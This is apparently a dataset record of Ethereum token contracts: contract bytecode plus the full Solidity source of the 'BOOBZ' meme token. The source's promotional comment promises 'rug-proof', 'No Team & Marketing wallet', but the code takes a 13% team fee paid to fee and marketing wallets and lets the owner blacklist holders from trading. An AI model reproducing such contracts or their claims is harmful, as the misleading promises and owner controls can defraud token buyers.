ffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f86780c0c576cdf6a5d3c8a6fd594588b3a963322cb6eca940b4edf01b5beecf64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,205 |
0xcbc29e25de87b58c23a2486e54f7b5fb2b9f36e9
|
/**
██████╗░░█████╗░░█████╗░██████╗░███████╗
██╔══██╗██╔══██╗██╔══██╗██╔══██╗╚════██║
██████╦╝██║░░██║██║░░██║██████╦╝░░███╔═╝
██╔══██╗██║░░██║██║░░██║██╔══██╗██╔══╝░░
██████╦╝╚█████╔╝╚█████╔╝██████╦╝███████╗
╚═════╝░░╚════╝░░╚════╝░╚═════╝░╚══════╝
██╗███╗░░██╗████████╗███████╗██████╗░███╗░░██╗░█████╗░████████╗██╗░█████╗░███╗░░██╗░█████╗░██╗░░░░░
██║████╗░██║╚══██╔══╝██╔════╝██╔══██╗████╗░██║██╔══██╗╚══██╔══╝██║██╔══██╗████╗░██║██╔══██╗██║░░░░░
██║██╔██╗██║░░░██║░░░█████╗░░██████╔╝██╔██╗██║███████║░░░██║░░░██║██║░░██║██╔██╗██║███████║██║░░░░░
██║██║╚████║░░░██║░░░██╔══╝░░██╔══██╗██║╚████║██╔══██║░░░██║░░░██║██║░░██║██║╚████║██╔══██║██║░░░░░
██║██║░╚███║░░░██║░░░███████╗██║░░██║██║░╚███║██║░░██║░░░██║░░░██║╚█████╔╝██║░╚███║██║░░██║███████╗
╚═╝╚═╝░░╚══╝░░░╚═╝░░░╚══════╝╚═╝░░╚═╝╚═╝░░╚══╝╚═╝░░╚═╝░░░╚═╝░░░╚═╝░╚════╝░╚═╝░░╚══╝╚═╝░░╚═╝╚══════╝
TELEGRAM: t.me/BOOBZinternational
CALLING ALL DEGEN-BOOB-BOYZ!!
THIZ IS YOUR STEALTH, RUG-PROOF, SAFE-BOOB-MISSION.
We proudly present...BOOBZ!
((crowd cheers))
THE FUTURE OF FINANCE HAS ARRIVED.
Mr. El Salvador, it's time to recognize BOOBZ as legal tender, sir.
Symbol: BOOBZ
Total Supply: 1,000,000,000,000
Decimals: 9
30% Burn, 70% LP
- Developer provides LP
- No Presale
- No Team Tokens
- Locked LP
- 100% Fair Launch
- No Team & Marketing wallet
- No presale wallets that can dump on the community
- Holders & Team earn on every transaction automatically sent to their wallet!
Website: TBA
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BOOBZ is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "BOOBZ";
string private constant _symbol = 'BOOBZ';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 13;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 9250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103ad578063c3c8cd801461045d578063c9567bf914610472578063d543dbeb14610487578063dd62ed3e146104b157610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610119578063a9059cbb1461037457610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e6104ec565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561050b565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b50610205610529565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610536565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105bd565b005b34801561029b57600080fd5b506102a4610636565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561063b565b3480156102f257600080fd5b5061028d6106b1565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b03166106e5565b34801561033a57600080fd5b5061028d61074f565b34801561034f57600080fd5b506103586107f1565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b506101dc6004803603604081101561039757600080fd5b506001600160a01b038135169060200135610800565b3480156103b957600080fd5b5061028d600480360360208110156103d057600080fd5b8101906020810181356401000000008111156103eb57600080fd5b8201836020820111156103fd57600080fd5b8035906020019184602083028401116401000000008311171561041f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610814945050505050565b34801561046957600080fd5b5061028d6108c8565b34801561047e57600080fd5b5061028d610905565b34801561049357600080fd5b5061028d600480360360208110156104aa57600080fd5b5035610cec565b3480156104bd57600080fd5b50610205600480360360408110156104d457600080fd5b506001600160a01b0381358116916020013516610df1565b6040805180820190915260058152642127a7a12d60d91b602082015290565b600061051f610518610e1c565b8484610e